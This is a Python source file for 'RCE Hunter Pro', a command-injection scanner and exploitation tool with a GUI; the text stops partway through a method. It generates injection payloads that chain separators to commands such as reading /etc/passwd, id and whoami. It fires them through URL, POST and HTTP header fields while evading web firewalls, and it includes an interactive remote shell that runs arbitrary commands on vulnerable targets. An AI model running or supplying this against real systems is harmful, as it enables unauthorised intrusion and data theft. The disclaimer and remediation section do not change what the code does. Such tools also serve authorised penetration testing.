#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
RCE Hunter Pro -
----------------------------------------------------------------
[!] 法律免责声明 (Legal Disclaimer)
本工具仅用于经过明确授权的渗透测试、安全教学和漏洞挖掘。
未经授权攻击非受控目标属于违法行为。
开发者对使用本工具造成的任何直接或间接后果概不负责。

Features:
- 智能环境识别与自适应Payload
- Time-based & Reflected Detection
- Multi-vector Injection (URL, POST, Headers)
- WAF Evasion & Traffic Obfuscation
- Interactive CLI & GUI with Progress
- Vulnerability Verification & Exploitation
"""

import requests
import argparse
import sys
import time
import random
import string
import threading
import re
import json
import tkinter as tk
from tkinter import ttk, messagebox, scrolledtext, filedialog
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse, parse_qs, urlencode, urlunparse
from colorama import Fore, Style, init
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import webbrowser
import hashlib
import base64

# 初始化
init(autoreset=True)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# --- 配置与工具类 ---

class ConfigurationManager:
    """全局配置管理器"""
    def __init__(self, config_file="rce_config.json"):
        self.config_file = config_file
        self.load_config()
    
    def load_config(self):
        default_config = {
            "timeout": 15,
            "threads": 10,
            "min_threads": 3,
            "max_threads": 30,
            "delay_range": [0.5, 1.5],
            "max_retries": 3,
            "user_agents": [
                "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36",
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36",
                "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
                "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0"
            ],
            "scan_strategies": {
                "time_based": True,
                "reflected": True,
                "headers": True,
                "deep_scan": False
            },
            "waf_evasion": {
                "random_user_agent": True,
                "random_delay": True,
                "proxy_rotation": False,
                "traffic_obfuscation": True
            },
            "exploit_enabled": False,
            "auto_clean": True
        }
        
        try:
            with open(self.config_file, 'r') as f:
                saved_config = json.load(f)
                self.config = {**default_config, **saved_config}
        except:
            self.config = default_config
    
    def save_config(self):
        try:
            with open(self.config_file, 'w') as f:
                json.dump(self.config, f, indent=2)
        except Exception as e:
            print(f"配置保存失败: {e}")

class AdaptiveThreadPool:
    """自适应线程池"""
    def __init__(self, base_threads=10, min_threads=3, max_threads=30):
        self.base_threads = base_threads
        self.min_threads = min_threads
        self.max_threads = max_threads
        self.current_threads = base_threads
        self.response_times = []
        self.lock = threading.Lock()
    
    def adjust_threads(self, response_time):
        """根据响应时间调整线程数"""
        with self.lock:
            self.response_times.append(response_time)
            
            # 保留最近10次记录
            if len(self.response_times) > 10:
                self.response_times.pop(0)
            
            # 计算平均响应时间
            if self.response_times:
                avg_time = sum(self.response_times) / len(self.response_times)
                
                # 动态调整
                if avg_time > 5:  # 响应慢，减少线程
                    self.current_threads = max(self.min_threads, self.current_threads - 2)
                elif avg_time < 1:  # 响应快，增加线程
                    self.current_threads = min(self.max_threads, self.current_threads + 2)
            
            return self.current_threads

class Logger:
    """线程安全的日志记录器"""
    _lock = threading.Lock()
    
    @staticmethod
    def log(msg, level="INFO", gui_widget=None):
        timestamp = time.strftime("%H:%M:%S")
        
        # 颜色定义
        colors = {
            "INFO": Fore.BLUE,
            "SUCCESS": Fore.GREEN,
            "WARNING": Fore.YELLOW,
            "ERROR": Fore.RED,
            "VULN": Fore.MAGENTA + Style.BRIGHT,
            "EXPLOIT": Fore.CYAN + Style.BRIGHT
        }
        color = colors.get(level, Fore.WHITE)
        
        console_msg = f"{color}[{timestamp}] [{level}] {msg}{Style.RESET_ALL}"
        
        with Logger._lock:
            print(console_msg)
            if gui_widget:
                gui_widget.insert(tk.END, f"[{timestamp}] [{level}] {msg}\n", level)
                gui_widget.see(tk.END)

class PayloadFactory:
    """生成 RCE Payloads"""
    
    SEPARATORS = [';', '|', '&&', '||', '\n', '%0a', '`']
    
    @staticmethod
    def generate_time_payloads(sleep_time=5):
        """生成时间盲注 Payload"""
        payloads = []
        
        # Linux payloads
        linux_cmds = [
            f"sleep {sleep_time}",
            f"ping -c {sleep_time} 127.0.0.1",
            f"timeout {sleep_time} cat /dev/null"
        ]
        
        # Windows payloads
        windows_cmds = [
            f"ping -n {sleep_time} 127.0.0.1 > nul",
            f"timeout /t {sleep_time} /nobreak > nul"
        ]
        
        all_cmds = linux_cmds + windows_cmds
        
        for sep in PayloadFactory.SEPARATORS:
            for cmd in all_cmds:
                payloads.append(f"{sep} {cmd}")
                payloads.append(f"{sep}{cmd}")  # 无空格
                payloads.append(f"a{sep} {cmd}")  # 闭合前面的字符
                payloads.append(f"\"{sep} {cmd} #")  # 闭合引号
                payloads.append(f"'{sep} {cmd} #")
        return payloads

    @staticmethod
    def generate_reflected_payloads():
        """生成回显检测 Payload"""
        token = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
        payloads = []
        
        # Linux探测命令
        linux_cmds = [
            (f"echo {token}", token, "Linux"),
            (f"expr 12345 + 54321", "66666", "Linux"),
            ("id", "uid=", "Linux"),
            ("cat /etc/passwd", "root:x:0:0", "Linux"),
            ("whoami", "", "Linux"),
            ("uname -a", "Linux", "Linux"),
            ("pwd", "", "Linux")
        ]
        
        # Windows探测命令
        windows_cmds = [
            (f"echo {token}", token, "Windows"),
            ("whoami", "", "Windows"),
            ("hostname", "", "Windows"),
            ("systeminfo", "OS Name", "Windows"),
            ("ipconfig", "IPv4", "Windows")
        ]
        
        all_cmds = linux_cmds + windows_cmds
        
        for sep in PayloadFactory.SEPARATORS:
            for cmd_str, verify_str, os_type in all_cmds:
                payloads.append({
                    'payload': f"{sep} {cmd_str}",
                    'verify': verify_str,
                    'type': f'Reflected ({os_type})',
                    'os': os_type
                })
                # 尝试闭合
                payloads.append({
                    'payload': f"'{sep} {cmd_str} #",
                    'verify': verify_str,
                    'type': f'Reflected (Quote) ({os_type})',
                    'os': os_type
                })
        return payloads, token

    @staticmethod
    def generate_encoded_payloads():
        """生成编码Payload (Base64, Hex等)"""
        payloads = []
        
        # Base64编码
        base64_cmds = [
            "echo 'VUlE'",  # echo UID
            "whoami"
        ]
        
        for cmd in base64_cmds:
            encoded = base64.b64encode(cmd.encode()).decode()
            payloads.append({
                'payload': f"; echo {encoded} | base64 -d",
                'verify': '',
                'type': 'Encoded (Base64)',
                'os': 'Linux'
            })
        
        return payloads

# --- 核心扫描引擎 ---

class RCEScanner:
    def __init__(self, target_url, method="GET", data=None, cookie=None, config=None, gui_log=None):
        self.target_url = target_url
        self.method = method.upper()
        self.data = data or {}
        self.cookie = cookie
        self.config = config or ConfigurationManager().config
        self.gui_log = gui_log
        self.session = requests.Session()
        self.session.headers.update({'User-Agent': random.choice(self.config['user_agents'])})
        if cookie:
            self.session.headers.update({'Cookie': cookie})
        
        self.vulnerabilities = []
        self.environment = {'os': 'unknown', 'server': 'unknown', 'language': 'unknown'}
        self.request_cache = {}
        self.adaptive_pool = AdaptiveThreadPool(
            base_threads=self.config['threads'],
            min_threads=self.config['min_threads'],
            max_threads=self.config['max_threads']
        )
        self.scan_paused = threading.Event()
        self.scan_paused.set()  # 初始为运行状态

    def detect_environment(self):
        """探测目标环境"""
        try:
            resp = self.session.get(self.target_url, timeout=self.config['timeout'], verify=False)
            server = resp.headers.get('Server', '').lower()
            x_powered_by = resp.headers.get('X-Powered-By', '').lower()
            
            # 识别操作系统
            if 'linux' in resp.text.lower() or 'ubuntu' in resp.text.lower():
                self.environment['os'] = 'linux'
            elif 'windows' in resp.text.lower() or 'microsoft' in resp.text.lower():
                self.environment['os'] = 'windows'
            elif 'darwin' in resp.text.lower() or 'mac' in resp.text.lower():
                self.environment['os'] = 'mac'
            
            # 识别Web服务器
            if 'apache' in server:
                self.environment['server'] = 'apache'
            elif 'nginx' in server:
                self.environment['server'] = 'nginx'
            elif 'iis' in server:
                self.environment['server'] = 'iis'
            
            # 识别后端语言
            if 'php' in x_powered_by or '.php' in self.target_url:
                self.environment['language'] = 'php'
            elif 'asp' in x_powered_by or '.asp' in self.target_url:
                self.environment['language'] = 'asp'
            elif 'node' in x_powered_by or 'express' in x_powered_by:
                self.environment['language'] = 'node'
            
            Logger.log(f"环境检测: OS={self.environment['os']}, Server={self.environment['server']}, Language={self.environment['language']}", 
                      "INFO", self.gui_log)
        except Exception as e:
            Logger.log(f"环境检测失败: {e}", "WARNING", self.gui_log)

    def _cached_request(self, url, params=None, data=None, method="GET"):
        """带缓存的请求"""
        cache_key = f"{method}:{url}:{json.dumps(params or {}, sort_keys=True)}:{json.dumps(data or {}, sort_keys=True)}"
        
        if cache_key in self.request_cache:
            return self.request_cache[cache_key]
        
        result = self._send_request(url, params, data)
        self.request_cache[cache_key] = result
        return result

    def _send_request(self, url, params=None, data=None):
        """发送请求并计算耗时"""
        # 随机延迟
        if self.config['waf_evasion']['random_delay']:
            delay = random.uniform(*self.config['delay_range'])
            time.sleep(delay)
        
        # 随机User-Agent
        if self.config['waf_evasion']['random_user_agent']:
            self.session.headers.update({'User-Agent': random.choice(self.config['user_agents'])})
        
        start_time = time.time()
        try:
            if self.method == "GET":
                resp = self.session.get(url, params=params, timeout=self.config['timeout'], verify=False)
            else:
                resp = self.session.post(url, data=data, timeout=self.config['timeout'], verify=False)
            duration = time.time() - start_time
            return resp, duration
        except requests.exceptions.Timeout:
            return None, self.config['timeout']
        except Exception as e:
            return None, 0

    def verify_time_blind(self, url, base_params, param_name, payload, sleep_time=5):
        """更可靠的盲注验证"""
        # 基准请求 (3次取平均)
        baseline_times = []
        for _ in range(3):
            _, duration = self._send_request(url, params=base_params)
            if duration > 0:
                baseline_times.append(duration)
            time.sleep(0.5)
        
        if not baseline_times:
            return False
            
        baseline_avg = sum(baseline_times) / len(baseline_times)
        
        # 测试请求
        test_params = base_params.copy()
        test_params[param_name] = f"1{payload}"
        
        _, test_duration = self._send_request(url, params=test_params)
        
        # 验证逻辑 - 超过基准3倍且大于sleep_time
        if test_duration > max(baseline_avg * 3, sleep_time + 1):
            # 二次验证，排除网络波动
            _, test_duration2 = self._send_request(url, params=test_params)
            if test_duration2 > max(baseline_avg * 3, sleep_time + 1):
                return True
        
        return False

    def check_time_based(self, param_name, base_params, injection_type="URL"):
        """检测时间盲注"""
        sleep_time = 5
        payloads = PayloadFactory.generate_time_payloads(sleep_time)
        
        for payload in payloads:
            # 检查暂停状态
            self.scan_paused.wait()
            
            # 构造测试参数
            test_params = base_params.copy()
            test_params[param_name] = f"1{payload}"
            
            Logger.log(f"测试时间盲注 [{param_name}]: {payload[:30]}...", "INFO", self.gui_log)
            
            if self.verify_time_blind(self.target_url, test_params, param_name, payload, sleep_time):
                vuln = {
                    "type": "Time-Based RCE",
                    "param": param_name,
                    "payload": payload,
                    "evidence": f"Response delayed by {sleep_time}s+",
                    "severity": "CRITICAL"
                }
                self.vulnerabilities.append(vuln)
                Logger.log(f"确认漏洞! {param_name} 存在 RCE (Time-Based)", "VULN", self.gui_log)
                return True
        return False

    def check_reflected(self, param_name, base_params, injection_type="URL"):
        """检测回显型 RCE"""
        payloads, token = PayloadFactory.generate_reflected_payloads()
        
        for item in payloads:
            # 检查暂停状态
            self.scan_paused.wait()
            
            payload = item['payload']
            verify_str = item['verify']
            
            test_params = base_params.copy()
            test_params[param_name] = f"1{payload}"
            
            Logger.log(f"测试回显注入 [{param_name}]: {payload[:30]}", "INFO", self.gui_log)
            resp, _ = self._send_request(self.target_url, params=test_params if injection_type=="URL" else None,
                                       data=test_params if injection_type=="BODY" else None)
            
            if resp and verify_str in resp.text:
                vuln = {
                    "type": item['type'],
                    "param": param_name,
                    "payload": payload,
                    "evidence": f"Found '{verify_str}' in response",
                    "severity": "HIGH" if 'Quote' in item['type'] else "MEDIUM"
                }
                self.vulnerabilities.append(vuln)
                Logger.log(f"确认漏洞! {param_name} 存在 RCE (Reflected)", "VULN", self.gui_log)
                return True
        return False

    def scan_headers(self):
        """扫描HTTP头中的RCE漏洞"""
        if not self.config['scan_strategies']['headers']:
            return
        
        headers_to_test = ['User-Agent', 'Referer', 'X-Forwarded-For', 'X-Real-IP', 'X-Forwarded-Host']
        payloads, _ = PayloadFactory.generate_reflected_payloads()
        
        for header in headers_to_test:
            for item in payloads:
                # 检查暂停状态
                self.scan_paused.wait()
                
                # 保存原始头
                original_value = self.session.headers.get(header, '')
                
                # 设置测试头
                test_headers = self.session.headers.copy()
                test_headers[header] = f"1{item['payload']}"
                
                try:
                    start_time = time.time()
                    resp = self.session.get(
                        self.target_url,
                        headers=test_headers,
                        timeout=self.config['timeout'],
                        verify=False
                    )
                    duration = time.time() - start_time
                    
                    # 检查响应
                    if item['verify'] in resp.text:
                        self.vulnerabilities.append({
                            "type": f"{item['type']} (Header)",
                            "param": header,
                            "payload": item['payload'],
                            "evidence": f"Found '{item['verify']}' in response",
                            "severity": "MEDIUM"
                        })
                        Logger.log(f"发现HTTP头漏洞: {header}", "VULN", self.gui_log)
                        
                    # 检查时间延迟
                    if duration > 5:  # 5秒延迟
                        self.vulnerabilities.append({
                            "type": "Time-Based RCE (Header)",
                            "param": header,
                            "payload": item['payload'],
                            "evidence": f"Response delayed by {duration:.2f}s",
                            "severity": "HIGH"
                        })
                        Logger.log(f"发现HTTP头时间盲注: {header}", "VULN", self.gui_log)
                        
                except Exception as e:
                    Logger.log(f"头测试错误 {header}: {e}", "ERROR", self.gui_log)
                finally:
                    # 恢复原始头
                    if original_value:
                        self.session.headers[header] = original_value
                    else:
                        self.session.headers.pop(header, None)

    def run(self):
        """运行扫描"""
        Logger.log(f"开始扫描目标: {self.target_url}", "INFO", self.gui_log)
        
        # 探测环境
        self.detect_environment()
        
        # 1. 解析 URL 参数
        parsed = urlparse(self.target_url)
        url_params = parse_qs(parsed.query)
        
        # 转换为简单的字典结构用于 fuzzing
        flat_params = {k: v[0] if v else '' for k, v in url_params.items()}
        
        # 2. 扫描 URL 参数
        if flat_params and self.config['scan_strategies']['reflected']:
            Logger.log(f"检测到 URL 参数: {list(flat_params.keys())}", "INFO", self.gui_log)
            with ThreadPoolExecutor(max_workers=self.adaptive_pool.current_threads) as executor:
                futures = []
                for param in flat_params:
                    if self.config['scan_strategies']['reflected']:
                        futures.append(executor.submit(self.check_reflected, param, flat_params, "URL"))
                    if self.config['scan_strategies']['time_based']:
                        futures.append(executor.submit(self.check_time_based, param, flat_params, "URL"))
                
                for future in as_completed(futures):
                    pass
        
        # 3. 扫描 POST Body (如果提供)
        if self.method == "POST" and self.data and self.config['scan_strategies']['reflected']:
            if isinstance(self.data, dict):
                Logger.log(f"检测到 POST 参数: {list(self.data.keys())}", "INFO", self.gui_log)
                with ThreadPoolExecutor(max_workers=self.adaptive_pool.current_threads) as executor:
                    futures = []
                    for param in self.data:
                        if self.config['scan_strategies']['reflected']:
                            futures.append(executor.submit(self.check_reflected, param, self.data, "BODY"))
                        if self.config['scan_strategies']['time_based']:
                            futures.append(executor.submit(self.check_time_based, param, self.data, "BODY"))
                    for future in as_completed(futures):
                        pass
        
        # 4. 扫描HTTP头
        self.scan_headers()
        
        return self.vulnerabilities

class ExploitEngine:
    """漏洞利用引擎"""
    
    def __init__(self, scanner):
        self.scanner = scanner
    
    def verify_vulnerability(self, vuln):
        """确认漏洞可利用性"""
        Logger.log(f"验证漏洞: {vuln['param']} - {vuln['type']}", "INFO", self.scanner.gui_log)
        
        # 生成验证payload
        verification_token = f"VERIFICATION_{hashlib.md5(str(time.time()).encode()).hexdigest()[:8]}"
        verify_payload = vuln['payload'].replace('sleep 5', f'echo {verification_token}')
        
        # 构造测试参数
        if 'Header' in vuln['type']:
            header_name = vuln['param']
            original_value = self.scanner.session.headers.get(header_name, '')
            test_headers = self.scanner.session.headers.copy()
            test_headers[header_name] = f"1{verify_payload}"
            
            try:
                resp = self.scanner.session.get(
                    self.scanner.target_url,
                    headers=test_headers,
                    timeout=self.scanner.config['timeout'],
                    verify=False
                )
                if verification_token in resp.text:
                    return True
            finally:
                if original_value:
                    self.scanner.session.headers[header_name] = original_value
                else:
                    self.scanner.session.headers.pop(header_name, None)
        else:
            # URL/Body参数验证
            if 'URL' in vuln['type'] or 'Body' in vuln['type']:
                parsed = urlparse(self.scanner.target_url)
                url_params = parse_qs(parsed.query)
                flat_params = {k: v[0] if v else '' for k, v in url_params.items()}
                
                test_params = flat_params.copy()
                test_params[vuln['param']] = f"1{verify_payload}"
                
                resp, _ = self.scanner._send_request(
                    self.scanner.target_url,
                    params=test_params if 'URL' in vuln['type'] else None,
                    data=test_params if 'Body' in vuln['type'] else None
                )
                
                if resp and verification_token in resp.text:
                    return True
        
        return False
    
    def interactive_shell(self, vuln):
        """提供交互式shell"""
        if not self.scanner.config.get('exploit_enabled', False):
            Logger.log("漏洞利用功能未启用", "WARNING", self.scanner.gui_log)
            return
        
        Logger.log(f"[+] 漏洞确认，启动交互式shell...", "EXPLOIT", self.scanner.gui_log)
        Logger.log(f"[!] 仅用于验证目的，使用 'exit' 或 'quit' 退出", "WARNING", self.scanner.gui_log)
        
        while True:
            try:
                cmd = input(f"{Fore.CYAN}shell> {Style.RESET_ALL}")
                if cmd.lower() in ['exit', 'quit', 'q']:
                    break
                
                # 构造利用payload
                exploit_payload = f"; {cmd}"
                if 'Header' in vuln['type']:
                    header_name = vuln['param']
                    original_value = self.scanner.session.headers.get(header_name, '')
                    test_headers = self.scanner.session.headers.copy()
                    test_headers[header_name] = f"1{exploit_payload}"
                    
                    try:
                        resp = self.scanner.session.get(
                            self.scanner.target_url,
                            headers=test_headers,
                            timeout=self.scanner.config['timeout'],
                            verify=False
                        )
                        print(resp.text)
                    finally:
                        if original_value:
                            self.scanner.session.headers[header_name] = original_value
                        else:
                            self.scanner.session.headers.pop(header_name, None)
                else:
                    # URL/Body参数利用
                    parsed = urlparse(self.scanner.target_url)
                    url_params = parse_qs(parsed.query)
                    flat_params = {k: v[0] if v else '' for k, v in url_params.items()}
                    
                    test_params = flat_params.copy()
                    test_params[vuln['param']] = f"1{exploit_payload}"
                    
                    resp, _ = self.scanner._send_request(
                        self.scanner.target_url,
                        params=test_params if 'URL' in vuln['type'] else None,
                        data=test_params if 'Body' in vuln['type'] else None
                    )
                    
                    if resp:
                        print(resp.text)
                        
            except KeyboardInterrupt:
                print("\n退出shell")
                break
            except Exception as e:
                print(f"执行错误: {e}")

# --- 报告生成 ---

class ReportGenerator:
    @staticmethod
    def save_report(target, vulns, environment=None):
        filename = f"rce_report_{int(time.time())}.html"
        html = f"""
        <html>
        <head>
            <title>RCE Vulnerability Scan Report</title>
            <style>
                body {{ font-family: 'Segoe UI', sans-serif; background: #1e1e1e; color: #d4d4d4; padding: 20px; }}
                .card {{ background: #252526; padding: 15px; margin-bottom: 15px; border-radius: 8px; }}
                .critical {{ border-left: 5px solid #f44336; }}
                .high {{ border-left: 5px solid #ff9800; }}
                .medium {{ border-left: 5px solid #2196f3; }}
                h1 {{ color: #61dafb; }}
                .tag {{ background: #3e3e42; padding: 2px 6px; border-radius: 4px; font-size: 0.9em; }}
                .recommendations {{ background: #2c3e50; padding: 15px; border-radius: 8px; margin-top: 20px; }}
            </style>
        </head>
        <body>
            <h1>RCE Vulnerability Report</h1>
            <p><strong>Target:</strong> {target}</p>
            <p><strong>Time:</strong> {time.strftime("%Y-%m-%d %H:%M:%S")}</p>
            <p><strong>Environment:</strong> {environment or 'Unknown'}</p>
            <p><strong>Vulnerabilities Found:</strong> {len(vulns)}</p>
            <hr>
        """
        
        if not vulns:
            html += "<h3>No vulnerabilities found.</h3>"
        else:
            for v in vulns:
                severity_class = v.get('severity', 'medium').lower()
                severity_colors = {
                    'critical': '#f44336',
                    'high': '#ff9800', 
                    'medium': '#2196f3',
                    'low': '#9e9e9e'
                }
                color = severity_colors.get(severity_class, '#9e9e9e')
                
                html += f"""
                <div class="card {severity_class}">
                    <h3 style="color: {color}">[{v['type']}] Found in parameter: <span class="tag">{v['param']}</span></h3>
                    <p><strong>Payload:</strong> <code>{v['payload']}</code></p>
                    <p><strong>Evidence:</strong> {v['evidence']}</p>
                    <p><strong>Severity:</strong> <span style="color: {color}">{v.get('severity', 'MEDIUM')}</span></p>
                </div>
                """
        
        # 修复建议
        html += """
        <div class="recommendations">
            <h3>修复建议 (Remediation)</h3>
            <ol>
                <li><strong>输入验证:</strong> 实施严格的输入验证，使用白名单机制，拒绝所有不符合预期格式的输入</li>
                <li><strong>参数化查询:</strong> 使用参数化查询或预编译语句，避免直接拼接用户输入</li>
                <li><strong>最小权限原则:</strong> Web应用应使用最小权限账户运行，限制系统命令执行权限</li>
                <li><strong>输出编码:</strong> 对所有输出到页面的内容进行适当的编码，防止XSS</li>
                <li><strong>WAF部署:</strong> 部署Web应用防火墙，配置RCE检测规则</li>
                <li><strong>定期更新:</strong> 及时更新Web服务器、框架和依赖库到最新安全版本</li>
                <li><strong>安全测试:</strong> 定期进行安全测试，包括渗透测试和代码审计</li>
            </ol>
        </div>
        """
        
        html += "</body></html>"
        with open(filename, "w", encoding="utf-8") as f:
            f.write(html)
        return filename

# --- 界面 UI ---

class GUIApp:
    def __init__(self, root):
        self.root = root
        self.root.title("Kali RCE Hunter Pro v3.0 (优化版)")
        self.root.geometry("1000x750")
        self.root.configure(bg="#2b2b2b")
        
        self.config_manager = ConfigurationManager()
        self.current_scanner = None
        
        self.setup_style()
        self.create_widgets()
        self.load_config()
    
    def setup_style(self):
        style = ttk.Style()
        style.theme_use('clam')
        style.configure("TFrame", background="#2b2b2b")
        style.configure("TLabel", background="#2b2b2b", foreground="white", font=("Arial", 10))
        style.configure("TButton", background="#007acc", foreground="white", font=("Arial", 10, "bold"))
        style.map("TButton", background=[('active', '#005f9e')])
        style.configure("TCheckbutton", background="#2b2b2b", foreground="white")
        style.configure("TRadiobutton", background="#2b2b2b", foreground="white")
    
    def create_widgets(self):
        # 顶部输入区
        top_frame = ttk.Frame(self.root)
        top_frame.pack(fill=tk.X, padx=10, pady=10)
        
        ttk.Label(top_frame, text="目标 URL:").grid(row=0, column=0, sticky=tk.W)
        self.url_entry = ttk.Entry(top_frame, width=70)
        self.url_entry.grid(row=0, column=1, padx=5, pady=5, sticky=tk.EW)
        
        ttk.Label(top_frame, text="请求方法:").grid(row=1, column=0, sticky=tk.W)
        self.method_combo = ttk.Combobox(top_frame, values=["GET", "POST"], width=10)
        self.method_combo.current(0)
        self.method_combo.grid(row=1, column=1, sticky=tk.W, padx=5)
        
        ttk.Label(top_frame, text="Cookie (可选):").grid(row=2, column=0, sticky=tk.W)
        self.cookie_entry = ttk.Entry(top_frame, width=70)
        self.cookie_entry.grid(row=2, column=1, padx=5, pady=5, sticky=tk.EW)
        
        ttk.Label(top_frame, text="POST Data (JSON/Key=Val):").grid(row=3, column=0, sticky=tk.W)
        self.data_entry = ttk.Entry(top_frame, width=70)
        self.data_entry.grid(row=3, column=1, padx=5, pady=5, sticky=tk.EW)
        
        # 配置选项框架
        config_frame = ttk.LabelFrame(self.root, text=" 扫描配置 ", padding=10)
        config_frame.pack(fill=tk.X, padx=10, pady=5)
        
        # 扫描策略
        scan_frame = ttk.Frame(config_frame)
        scan_frame.pack(fill=tk.X, pady=5)
        
        self.time_based_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(scan_frame, text="时间盲注", variable=self.time_based_var).pack(side=tk.LEFT, padx=10)
        
        self.reflected_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(scan_frame, text="回显检测", variable=self.reflected_var).pack(side=tk.LEFT, padx=10)
        
        self.headers_var = tk.BooleanVar(value=True)
        ttk.Checkbutton(scan_frame, text="HTTP头检测", variable=self.headers_var).pack(side=tk.LEFT, padx=10)
        
        # WAF绕过选项
        waf_frame = ttk.Frame(config_frame)
        waf_frame.pack(fill=tk.X, pady=5)
        
        ttk.Label(waf_frame, text="线程数:").pack(side=tk.LEFT, padx=(0, 5))
        self.threads_var = tk.IntVar(value=10)
        ttk.Spinbox(waf_frame, from_=3, to=30, textvariable=self.threads_var, width=10).pack(side=tk.LEFT, padx=5)
        
        ttk.Label(waf_frame, text="超时(秒):").pack(side=tk.LEFT, padx=(20, 5))
        self.timeout_var = tk.IntVar(value=15)
        ttk.Spinbox(waf_frame, from_=5, to=60, textvariable=self.timeout_var, width=10).pack(side=tk.LEFT, padx=5)
        
        # 按钮区
        btn_frame = ttk.Frame(self.root)
        btn_frame.pack(fill=tk.X, padx=10, pady=10)
        
        self.scan_btn = ttk.Button(btn_frame, text="🚀 开始扫描", command=self.start_scan_thread)
        self.scan_btn.pack(side=tk.LEFT, padx=5)
        
        self.pause_btn = ttk.Button(btn_frame, text="⏸ 暂停", command=self.toggle_pause, state=tk.DISABLED)
        self.pause_btn.pack(side=tk.LEFT, padx=5)
        
        self.stop_btn = ttk.Button(btn_frame, text="⏹ 停止", command=self.stop_scan, state=tk.DISABLED)
        self.stop_btn.pack(side=tk.LEFT, padx=5)
        
        ttk.Button(btn_frame, text="💾 保存配置", command=self.save_config).pack(side=tk.LEFT, padx=5)
        ttk.Button(btn_frame, text="📁 加载配置", command=self.load_config).pack(side=tk.LEFT, padx=5)
        
        # 进度条和状态
        status_frame = ttk.Frame(btn_frame)
        status_frame.pack(side=tk.LEFT, padx=20)
        
        self.progress_var = tk.DoubleVar()
        self.progress_bar = ttk.Progressbar(
            status_frame, 
            variable=self.progress_var, 
            maximum=100,
            length=200
        )
        self.progress_bar.pack(pady=2)
        
        self.status_var = tk.StringVar(value="准备就绪")
        self.status_label = ttk.Label(status_frame, textvariable=self.status_var)
        self.status_label.pack()
        
        # 日志区
        log_frame = ttk.LabelFrame(self.root, text=" 实时扫描日志 ", padding=5)
        log_frame.pack(fill=tk.BOTH, expand=True, padx=10, pady=10)
        
        self.log_text = scrolledtext.ScrolledText(log_frame, bg="#1e1e1e", fg="#d4d4d4", font=("Consolas", 10))
        self.log_text.pack(fill=tk.BOTH, expand=True)
        
        # 配置日志颜色标签
        self.log_text.tag_config("INFO", foreground="#61dafb")
        self.log_text.tag_config("SUCCESS", foreground="#4caf50")
        self.log_text.tag_config("WARNING", foreground="#ff9800")
        self.log_text.tag_config("ERROR", foreground="#f44336")
        self.log_text.tag_config("VULN", foreground="#ff4081", font=("Consolas", 11, "bold"))
        self.log_text.tag_config("EXPLOIT", foreground="#00bcd4", font=("Consolas", 11, "bold"))

    def toggle_pause(self):
        if self.current_scanner:
            if self.current_scanner.scan_paused.is_set():
                self.current_scanner.scan_paused.clear()
                self.pause_btn.config(text="▶ 继续")
                self.status_var.set("已暂停")
            else:
                self.current_scanner.scan_paused.set()
                self.pause_btn.config(text="⏸ 暂停")
                self.status_var.set("扫描中...")

    def stop_scan(self):
        if self.current_scanner:
            self.current_scanner.scan_paused.clear()  # 确保扫描不被暂停
            # 这里可以添加更复杂的停止逻辑
            self.status_var.set("停止中...")
            self.scan_btn.config(state="normal")
            self.pause_btn.config(state="disabled")
            self.stop_btn.config(state="disabled")

    def start_scan_thread(self):
        url = self.url_entry.get()
        if not url:
            messagebox.showerror("错误", "请输入目标 URL")
            return
        
        # 更新配置
        self.config_manager.config['threads'] = self.threads_var.get()
        self.config_manager.config['timeout'] = self.timeout_var.get()
        self.config_manager.config['scan_strategies']['time_based'] = self.time_based_var.get()
        self.config_manager.config['scan_strategies']['reflected'] = self.reflected_var.get()
        self.config_manager.config['scan_strategies']['headers'] = self.headers_var.get()
        
        self.scan_btn.config(state="disabled")
        self.pause_btn.config(state="normal")
        self.stop_btn.config(state="normal")
        self.log_text.delete(1.0, tk.END)
        
        t = threading.Thread(target=self.run_scan)
        t.daemon = True
        t.start()

    def run_scan(self):
        try:
            url = self.url_entry.get()
            method = self.method_combo.get()
            cookie = self.cookie_entry.get()
            raw_data = self.data_entry.get()
            
            # 解析 POST 数据
            data = {}
            if raw_data:
                try:
                    data = json.loads(raw_data)
                except:
                    # 简单的 key=val 解析
                    data = {}
                    for pair in raw_data.split('&'):
                        if '=' in pair:
                            k, v = pair.split('=', 1)
                            data[k] = v
            
            self.current_scanner = RCEScanner(url, method, data, cookie, self.config_manager.config, self.log_text)
            vulns = self.current_scanner.run()
            
            if vulns:
                environment_info = f"OS: {self.current_scanner.environment['os']}, Server: {self.current_scanner.environment['server']}, Language: {self.current_scanner.environment['language']}"
                report_file = ReportGenerator.save_report(url, vulns, environment_info)
                Logger.log(f"扫描完成! 发现 {len(vulns)} 个漏洞。报告已保存: {report_file}", "SUCCESS", self.log_text)
                
                # 询问是否打开报告
                if messagebox.askyesno("扫描完成", f"发现 {len(vulns)} 个潜在漏洞！是否打开报告？"):
                    webbrowser.open(report_file)
                
                # 询问是否验证漏洞
                if messagebox.askyesno("漏洞验证", "是否验证发现的漏洞？"):
                    exploit_engine = ExploitEngine(self.current_scanner)
                    for vuln in vulns[:3]:  # 验证前3个漏洞
                        if exploit_engine.verify_vulnerability(vuln):
                            Logger.log(f"漏洞已验证: {vuln['param']}", "SUCCESS", self.log_text)
            else:
                Logger.log("扫描完成，未发现明显漏洞。", "INFO", self.log_text)
                
        except Exception as e:
            Logger.log(f"发生错误: {e}", "ERROR", self.log_text)
        finally:
            self.scan_btn.config(state="normal")
            self.pause_btn.config(state="disabled")
            self.stop_btn.config(state="disabled")
            self.status_var.set("扫描完成")

    def save_config(self):
        config = {
            'last_url': self.url_entry.get(),
            'last_method': self.method_combo.get(),
            'last_cookie': self.cookie_entry.get(),
            'last_data': self.data_entry.get(),
            'threads': self.threads_var.get(),
            'timeout': self.timeout_var.get(),
            'time_based': self.time_based_var.get(),
